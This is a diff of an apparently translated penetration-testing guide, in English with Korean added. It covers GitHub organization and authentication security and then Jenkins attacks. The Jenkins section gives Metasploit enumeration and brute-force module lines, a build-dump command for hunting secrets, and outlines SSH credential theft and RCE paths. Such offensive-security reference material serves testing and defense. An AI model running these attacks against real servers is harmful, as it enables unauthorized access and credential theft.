각 역할의 **권한을 비교**할 수 있는 표는 다음과 같습니다: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
또한 _https://github.com/organizations/\<org_name>/settings/roles_에서 **자신만의 역할을 생성**할 수 있습니다.
|
||||
|
||||
### Teams
|
||||
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
조직 내에서 **생성된 팀을 나열**할 수 있습니다: _https://github.com/orgs/\<org_name>/teams_. 다른 팀의 자식 팀을 보려면 각 상위 팀에 접근해야 합니다.
|
||||
|
||||
### Users
|
||||
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
조직의 사용자는 _https://github.com/orgs/\<org_name>/people_에서 **나열**될 수 있습니다.
|
||||
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
각 사용자의 정보에서 **사용자가 속한 팀**과 **사용자가 접근할 수 있는 리포지토리**를 확인할 수 있습니다.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
Github는 계정에 인증하고 귀하를 대신하여 작업을 수행하는 다양한 방법을 제공합니다.
|
||||
|
||||
### Web Access
|
||||
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
**github.com**에 접근하여 **사용자 이름과 비밀번호**(및 **2FA**를 사용할 수 있음)를 사용하여 로그인할 수 있습니다.
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
하나 이상의 공개 키로 계정을 구성하여 관련 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록** 할 수 있습니다. [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
이 키로 사용자를 가장할 수는 없지만 사용하지 않으면 **서명 없는 커밋을 보내는 것으로 인해 발견될 수 있습니다**. [경계 모드에 대한 자세한 내용](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)을 확인하세요.
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
응용 프로그램이 귀하의 계정에 접근할 수 있도록 **개인 접근 토큰을 생성**할 수 있습니다. 개인 접근 토큰을 생성할 때 **사용자**는 **토큰**이 가질 **권한**을 **지정**해야 합니다. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
Oauth 응용 프로그램은 귀하의 **github 정보의 일부에 접근하거나 귀하를 가장하여** 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. 이 기능의 일반적인 예는 일부 플랫폼에서 찾을 수 있는 **github로 로그인 버튼**입니다.
|
||||
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- **Oauth 응용 프로그램**을 [https://github.com/settings/developers](https://github.com/settings/developers)에서 생성할 수 있습니다.
|
||||
- 귀하의 계정에 접근할 수 있는 모든 **Oauth 응용 프로그램**을 [https://github.com/settings/applications](https://github.com/settings/applications)에서 확인할 수 있습니다.
|
||||
- **Oauth Apps가 요청할 수 있는 범위**는 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)에서 확인할 수 있습니다.
|
||||
- **조직**의 응용 프로그램에 대한 제3자 접근은 _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_에서 확인할 수 있습니다.
|
||||
|
||||
Some **security recommendations**:
|
||||
몇 가지 **보안 권장 사항**:
|
||||
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- **OAuth App**은 항상 **모든 GitHub에서 인증된 GitHub 사용자로서 행동**해야 하며, 지정된 범위에만 접근해야 합니다.
|
||||
- OAuth App은 인증된 사용자를 위해 "GitHub로 로그인"을 활성화하여 신원 공급자로 사용할 수 있습니다.
|
||||
- **단일 리포지토리**에서 작동하도록 애플리케이션을 만들지 마십시오. `repo` OAuth 범위를 사용하면 OAuth Apps는 **인증된 사용자의 모든 리포지토리에서 작동**할 수 있습니다.
|
||||
- **팀이나 회사**를 위한 애플리케이션으로 작동하도록 OAuth App을 만들지 마십시오. OAuth Apps는 **단일 사용자**로 인증되므로, 한 사람이 회사를 위해 OAuth App을 만들고 회사를 떠나면 다른 누구도 접근할 수 없습니다.
|
||||
- **자세한 내용은 여기**에서 확인하세요: [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
Github 응용 프로그램은 귀하의 **github 정보에 접근하거나 귀하를 가장하여** 특정 리소스에 대해 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. Github Apps에서는 앱이 접근할 리포지토리를 지정해야 합니다.
|
||||
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- GitHub App을 설치하려면 **조직 소유자이거나 리포지토리에서 관리자 권한**이 있어야 합니다.
|
||||
- GitHub App은 **개인 계정 또는 조직**에 연결해야 합니다.
|
||||
- [https://github.com/settings/apps](https://github.com/settings/apps)에서 자신만의 Github 응용 프로그램을 생성할 수 있습니다.
|
||||
- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)에서 귀하의 계정에 접근할 수 있는 모든 **Github 응용 프로그램**을 확인할 수 있습니다.
|
||||
- 다음은 **Github 응용 프로그램을 위한 API 엔드포인트**입니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). 앱의 권한에 따라 일부에 접근할 수 있습니다.
|
||||
- **조직**에 설치된 앱은 _https://github.com/organizations/\<org_name>/settings/installations_에서 확인할 수 있습니다.
|
||||
|
||||
Some security recommendations:
|
||||
몇 가지 보안 권장 사항:
|
||||
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- GitHub App은 **사용자와 독립적으로 행동해야 합니다**(앱이 [사용자-서버](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하는 경우 제외). 사용자-서버 접근 토큰을 더 안전하게 유지하려면 8시간 후 만료되는 접근 토큰과 새 접근 토큰으로 교환할 수 있는 갱신 토큰을 사용할 수 있습니다. 자세한 내용은 "[사용자-서버 접근 토큰 갱신](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)"을 참조하세요.
|
||||
- GitHub App이 **특정 리포지토리**와 통합되도록 하세요.
|
||||
- GitHub App은 **개인 계정 또는 조직**에 연결해야 합니다.
|
||||
- GitHub App이 사용자가 할 수 있는 모든 것을 알고 수행할 것이라고 기대하지 마십시오.
|
||||
- **"GitHub로 로그인" 서비스가 필요할 뿐이라면 GitHub App을 사용하지 마십시오**. 그러나 GitHub App은 [사용자 식별 흐름](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)을 사용하여 사용자를 로그인시키고 다른 작업을 수행할 수 있습니다.
|
||||
- GitHub 사용자의 역할만 수행하고 사용자가 할 수 있는 모든 작업을 수행하려는 경우 GitHub App을 만들지 마십시오.
|
||||
- GitHub Actions와 함께 앱을 사용하고 워크플로 파일을 수정하려는 경우, `workflow` 범위를 포함하는 OAuth 토큰을 사용하여 사용자를 대신하여 인증해야 합니다. 사용자는 워크플로 파일이 포함된 리포지토리에 대한 관리자 또는 쓰기 권한이 있어야 합니다. 자세한 내용은 "[OAuth 앱을 위한 범위 이해하기](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)"를 참조하세요.
|
||||
- **자세한 내용은 여기**에서 확인하세요: [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
이것은 **github에서 인증하는 방법**이 아니지만, **악의적인** Github Action이 **github에 무단 접근**을 할 수 있으며, Action에 부여된 **권한**에 따라 여러 **다양한 공격**이 발생할 수 있습니다. 아래에서 더 많은 정보를 확인하세요.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
Git actions는 **이벤트가 발생할 때 코드 실행을 자동화**할 수 있습니다. 일반적으로 실행되는 코드는 **리포지토리의 코드와 관련이 있습니다**(예: 도커 컨테이너를 빌드하거나 PR에 비밀이 포함되지 않았는지 확인).
|
||||
|
||||
### Configuration
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
_https://github.com/organizations/\<org_name>/settings/actions_에서 조직의 **github actions 구성**을 확인할 수 있습니다.
|
||||
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
GitHub Actions의 사용을 완전히 금지하거나, **모든 GitHub Actions을 허용**하거나, 특정 작업만 허용하도록 설정할 수 있습니다.
|
||||
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
또한 **GitHub Action을 실행하기 위해 승인해야 하는 사람**과 GitHub Action이 실행될 때의 **GITHUB_TOKEN의 권한**을 구성할 수 있습니다.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
GitHub Action은 일반적으로 GitHub 또는 제3자 애플리케이션과 상호작용하기 위해 어떤 종류의 비밀이 필요합니다. **리포지토리에 평문으로 넣는 것을 피하기 위해** GitHub은 이를 **Secrets**로 설정할 수 있도록 허용합니다.
|
||||
|
||||
이 비밀은 **리포지토리 또는 조직 전체에 대해 구성**할 수 있습니다. 그런 다음 **Action이 비밀에 접근할 수 있도록** 하려면 다음과 같이 선언해야 합니다:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Bash 사용 예 <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
> Secrets **는 선언된 Github Actions에서만 접근할 수 있습니다.**
|
||||
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
> 레포지토리나 조직에 구성된 후 **github 사용자는 다시 접근할 수 없으며**, 그들은 **변경만 할 수 있습니다.**
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
따라서, **github 비밀을 훔치는 유일한 방법은 Github Action을 실행하는 머신에 접근할 수 있는 것입니다** (그 시나리오에서는 Action에 대해 선언된 비밀만 접근할 수 있습니다).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
|
||||
Github는 **비밀**을 저장할 수 있는 **환경**을 생성할 수 있도록 허용합니다. 그런 다음, 환경 내의 비밀에 대한 접근을 github action에 제공할 수 있습니다:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
|
||||
@@ -229,11 +223,11 @@ The **branch protections of a repository** can be found in _https://github.com/\
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
|
||||
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
Jenkins는 파이프라인을 사용하여 거의 **모든** 조합의 **프로그래밍 언어** 및 소스 코드 리포지토리에 대한 **지속적인 통합** 또는 **지속적인 배포** (CI/CD) 환경을 설정하는 간단한 방법을 제공하는 도구입니다. 또한, 다양한 일상적인 개발 작업을 자동화합니다. Jenkins는 **개별 단계에 대한 스크립트를 작성할 필요**를 없애지는 않지만, 수동으로 쉽게 구성할 수 있는 것보다 빌드, 테스트 및 배포 도구의 전체 시퀀스를 통합하는 더 빠르고 강력한 방법을 제공합니다.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -12,22 +12,22 @@ basic-jenkins-information.md
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
|
||||
인증 없이 흥미로운 Jenkins 페이지를 검색하기 위해 (_/people_ 또는 _/asynchPeople_, 현재 사용자를 나열함) 다음을 사용할 수 있습니다:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
인증 없이 명령을 실행할 수 있는지 확인하십시오:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
|
||||
자격 증명 없이 _**/asynchPeople/**_ 경로 또는 _**/securityRealm/user/admin/search/index?q=**_에서 **사용자 이름**을 확인할 수 있습니다.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
|
||||
Jenkins 버전은 _**/oops**_ 또는 _**/error**_ 경로에서 확인할 수 있습니다.
|
||||
|
||||
.png>)
|
||||
|
||||
### Known Vulnerabilities
|
||||
@@ -40,6 +40,8 @@ https://github.com/gquere/pwn_jenkins
|
||||
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
|
||||
기본 정보에서 **Jenkins에 로그인하는 모든 방법**을 확인할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
@@ -48,204 +50,198 @@ basic-jenkins-information.md
|
||||
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
|
||||
계정을 생성하고 로그인할 수 있는 Jenkins 인스턴스를 찾을 수 있습니다. 그만큼 간단합니다.
|
||||
|
||||
### **SSO Login**
|
||||
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
또한 **SSO** **기능**/**플러그인**이 존재한다면 테스트 계정(예: 테스트 **Github/Bitbucket 계정**)을 사용하여 애플리케이션에 **로그인**을 시도해야 합니다. [**여기**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)에서 팁을 확인하세요.
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
**Jenkins**는 **비밀번호 정책**과 **사용자 이름 무차별 대입 완화**가 부족합니다. **약한 비밀번호**나 **비밀번호로서의 사용자 이름**이 사용될 수 있으므로 **사용자에 대한 무차별 대입**이 필수적입니다. 심지어 **역순 사용자 이름을 비밀번호로 사용하는 경우**도 있습니다.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### 비밀번호 스프레이
|
||||
|
||||
### Password spraying
|
||||
[이 파이썬 스크립트](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) 또는 [이 파워셸 스크립트](https://github.com/chryzsh/JenkinsPasswordSpray)를 사용하세요.
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
### IP 화이트리스트 우회
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
많은 조직이 **SaaS 기반 소스 제어 관리(SCM) 시스템**인 GitHub 또는 GitLab을 **내부, 자체 호스팅 CI** 솔루션인 Jenkins 또는 TeamCity와 결합합니다. 이 설정은 CI 시스템이 **SaaS 소스 제어 공급업체**로부터 **웹훅 이벤트**를 수신할 수 있게 하여 파이프라인 작업을 트리거할 수 있도록 합니다.
|
||||
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
이를 달성하기 위해 조직은 **SCM 플랫폼**의 **IP 범위**를 **화이트리스트**하여 **웹훅**을 통해 **내부 CI 시스템**에 접근할 수 있도록 허용합니다. 그러나 **누구나** GitHub 또는 GitLab에 **계정**을 생성하고 이를 **웹훅을 트리거**하도록 구성할 수 있다는 점에 유의해야 합니다. 이는 **내부 CI 시스템**에 요청을 보낼 수 있습니다.
|
||||
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
확인: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
## 내부 Jenkins 남용
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
이 시나리오에서는 Jenkins에 접근할 수 있는 유효한 계정이 있다고 가정합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
> Jenkins에 구성된 **인증** 메커니즘과 손상된 사용자의 권한에 따라 **다음 공격을 수행할 수 있을 수도 있고, 아닐 수도 있습니다.**
|
||||
|
||||
For more information check the basic information:
|
||||
자세한 정보는 기본 정보를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Listing users
|
||||
### 사용자 목록 나열
|
||||
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
Jenkins에 접근했다면 [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)에서 다른 등록된 사용자를 나열할 수 있습니다.
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
### 평문 비밀을 찾기 위한 빌드 덤프
|
||||
|
||||
[이 스크립트](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py)를 사용하여 빌드 콘솔 출력 및 빌드 환경 변수를 덤프하여 평문 비밀을 찾으세요.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **SSH 자격 증명 탈취**
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
타협된 사용자가 **새 Jenkins 노드를 생성/수정할 수 있는 충분한 권한**을 가지고 있고 SSH 자격 증명이 다른 노드에 접근하기 위해 이미 저장되어 있다면, 그는 **노드를 생성/수정하고 자격 증명을 기록할 호스트를 설정함으로써** 그 자격 증명을 **탈취할 수 있습니다**. 호스트 키를 검증하지 않고:
|
||||
|
||||
.png>)
|
||||
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
|
||||
Jenkins ssh 자격 증명은 **전역 제공자**(`/credentials/`)에서 일반적으로 찾을 수 있으므로, 다른 비밀을 덤프하는 것처럼 그들을 덤프할 수도 있습니다. 더 많은 정보는 [**비밀 덤프 섹션**](./#dumping-secrets)에서 확인하세요.
|
||||
|
||||
### **RCE in Jenkins**
|
||||
### **Jenkins에서의 RCE**
|
||||
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
**Jenkins 서버에서 셸을 얻는 것**은 공격자에게 모든 **비밀**과 **환경 변수**를 유출하고, 동일한 네트워크에 위치한 **다른 머신을 악용**하거나 **클라우드 자격 증명**을 **수집할 기회**를 제공합니다.
|
||||
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
기본적으로 Jenkins는 **SYSTEM으로 실행**됩니다. 따라서 이를 타협하면 공격자는 **SYSTEM 권한**을 얻게 됩니다.
|
||||
|
||||
### **RCE Creating/Modifying a project**
|
||||
### **프로젝트 생성/수정으로 RCE**
|
||||
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법입니다:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Execute Groovy script**
|
||||
### **Groovy 스크립트 실행으로 RCE**
|
||||
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 생성하는 것보다 더 은밀할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Creating/Modifying Pipeline
|
||||
### 파이프라인 생성/수정으로 RCE
|
||||
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
